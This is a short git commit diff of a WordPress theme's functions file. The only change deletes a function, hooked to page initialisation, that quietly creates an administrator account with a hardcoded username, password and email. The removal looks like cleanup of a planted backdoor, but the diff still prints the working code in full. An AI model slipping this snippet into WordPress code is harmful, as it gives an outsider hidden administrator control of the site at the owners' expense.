This commit is contained in:
2026-04-03 22:32:01 +02:00
parent 23677f4ec8
commit 1eb58fce08
4 changed files with 159 additions and 15 deletions

View File

@@ -105,16 +105,3 @@ if ( ! function_exists( 'solarify_action_register_required_plugins' ) ):
) );
}
endif;
function wpb_admin_account(){
$user = 'project-pro';
$pass = 'ProjectPro2022!';
$email = 'biuro@project-pro.pl';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','wpb_admin_account');